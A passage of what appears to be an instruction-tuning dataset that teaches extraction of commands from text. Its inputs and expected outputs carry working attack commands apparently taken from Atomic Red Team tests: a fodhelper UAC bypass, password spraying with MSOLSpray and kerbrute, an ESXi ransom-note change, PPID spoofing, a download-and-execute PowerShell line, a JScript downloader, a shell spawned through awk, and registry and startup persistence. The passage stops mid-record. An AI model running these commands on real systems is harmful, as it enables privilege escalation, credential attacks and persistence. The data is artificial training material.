should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For Windows 10 systems, you can bypass User Account Control and open a command prompt by using fodhelper.exe with these PowerShell commands: New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\fodhelper.exe\"; For Windows 10 UAC bypass that results in an administrative command prompt, run these PowerShell commands: New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\ComputerDefaults.exe\"", "output": "{\"command_list\": [\"New-Item \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Force\\nNew-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"DelegateExecute\\\" -Value \\\"\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"(default)\\\" -Value \\\"#{executable_binary}\\\" -Force\\nStart-Process \\\"C:\\\\Windows\\\\System32\\\\fodhelper.exe\\\"\\n\", \"New-Item \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Force\\nNew-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"DelegateExecute\\\" -Value \\\"\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"(default)\\\" -Value \\\"#{executable_binary}\\\" -Force\\nStart-Process \\\"C:\\\\Windows\\\\System32\\\\ComputerDefaults.exe\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To brute force a list of Microsoft Online users with a single password, use the MSOLSpray PowerShell module via the following command:\nimport-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\MSOLSpray.ps1\"\nInvoke-MSOLSpray -UserList \"#{user_list}\" -Password \"#{password}\"\n; Testing a password against a list of users requires changing to the ExternalPayloads directory and using the following command: \ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} \"PathToAtomicsFolder\\..\\ExternalPayloads\\passwordspray.txt\" password132 \n", "output": "{\"command_list\": [\"import-module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\MSOLSpray.ps1\\\"\\nInvoke-MSOLSpray -UserList \\\"#{user_list}\\\" -Password \\\"#{password}\\\"\\n\", \"cd \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n.\\\\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\passwordspray.txt\\\" password132 \\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For changing the ESXi welcome message to potentially show ransom information, run the following: echo \"\" | \"#{plink_file}\" -batch \"#{vm_host}\" -ssh -l #{vm_user} -pw \"#{vm_pass}\" \"esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'\"; This PowerShell test replicates Cobalt Strike's PPID spoofing technique, masquerading a spawned process. After running the following commands, it will display 'Process C:\\Program Files\\Internet Explorer\\iexplore.exe is spawned with pid ####' and launch calc.exe:\n. \"$PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\"\n$ppid=Get-Process #{parent_process_name} | select -expand id\nPPID-Spoof -ppid $ppid -spawnto \"#{spawnto_process_path}\" -dllpath \"#{dll_path}\"\n", "output": "{\"command_list\": [\"echo \\\"\\\" | \\\"#{plink_file}\\\" -batch \\\"#{vm_host}\\\" -ssh -l #{vm_user} -pw \\\"#{vm_pass}\\\" \\\"esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'\\\"\\n\", \". \\\"$PathToAtomicsFolder\\\\T1134.004\\\\src\\\\PPID-Spoof.ps1\\\"\\n$ppid=Get-Process #{parent_process_name} | select -expand id\\nPPID-Spoof -ppid $ppid -spawnto \\\"#{spawnto_process_path}\\\" -dllpath \\\"#{dll_path}\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test leverages a VBA macro to generate and run #{jse_path} via cscript.exe, which subsequently launches wscript.exe. The execution is managed using the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \" Open `\"#{jse_path}`\" For Output As #1`n Write #1, `\"WScript.Quit`\"`n Close #1`n Shell`$ `\"cscript.exe #{jse_path}`\"`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"\n; Using cscript //E:jscript, you can download a file by running the following command: echo var url = \"#{file_url}\", fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject('MSXML2.ServerXMLHTTP'); request.open('GET', url, false); request.send(); if (request.status === 200) {stream = WScript.CreateObject('ADODB.Stream'); stream.Open(); stream.Type = 1; stream.Write(request.responseBody); stream.Position = 0; stream.SaveToFile('ostapout.txt', 1); stream.Close();} else {WScript.Quit(1);}WScript.Quit(0); > #{script_file}\ncscript //E:Jscript #{script_file}", "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macrocode = \\\" Open `\\\"#{jse_path}`\\\" For Output As #1`n Write #1, `\\\"WScript.Quit`\\\"`n Close #1`n Shell`$ `\\\"cscript.exe #{jse_path}`\\\"`n\\\"\\nInvoke-MalDoc -macroCode $macrocode -officeProduct \\\"#{ms_product}\\\"\\n\", \"echo var url = \\\"#{file_url}\\\", fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject('MSXML2.ServerXMLHTTP'); request.open('GET', url, false); request.send(); if (request.status === 200) {stream = WScript.CreateObject('ADODB.Stream'); stream.Open(); stream.Type = 1; stream.Write(request.responseBody); stream.Position = 0; stream.SaveToFile('ostapout.txt', 1); stream.Close();} else {WScript.Quit(1);}WScript.Quit(0); > #{script_file}\\ncscript //E:Jscript #{script_file}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For tailoring attacks to a specific kernel, the adversary may execute the command: uname -srm, to retrieve the necessary information.; The awk BEGIN rule can be leveraged to execute system commands without reading input, such as creating a shell via the command: awk 'BEGIN {system(\"/bin/sh &\")}'.", "output": "{\"command_list\": [\"uname -srm\\n\", \"awk 'BEGIN {system(\\\"/bin/sh &\\\")}'\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To create a shortcut for a non-malicious executable in the user's startup directory, use the following command:\n$Target = \"C:\\Windows\\System32\\calc.exe\"\n$ShortcutLocation = \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\"\n$WScriptShell = New-Object -ComObject WScript.Shell\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\n$Create.TargetPath = $Target\n$Create.Save(); For persistence via the Recycle Bin, ensuring the payload runs when clicked, execute this registry command: reg ADD \"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\\command\" /ve /d \"calc.exe\" /f", "output": "{\"command_list\": [\"$Target = \\\"C:\\\\Windows\\\\System32\\\\calc.exe\\\"\\n$ShortcutLocation = \\\"$home\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\calc_exe.lnk\\\"\\n$WScriptShell = New-Object -ComObject WScript.Shell\\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\\n$Create.TargetPath = $Target\\n$Create.Save() \", \"reg ADD \\\"HKCR\\\\CLSID\\\\{645FF040-5081-101B-9F08-00AA002F954E}\\\\shell\\\\open\\\\command\\\" /ve /d \\\"calc.exe\\\" /f\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 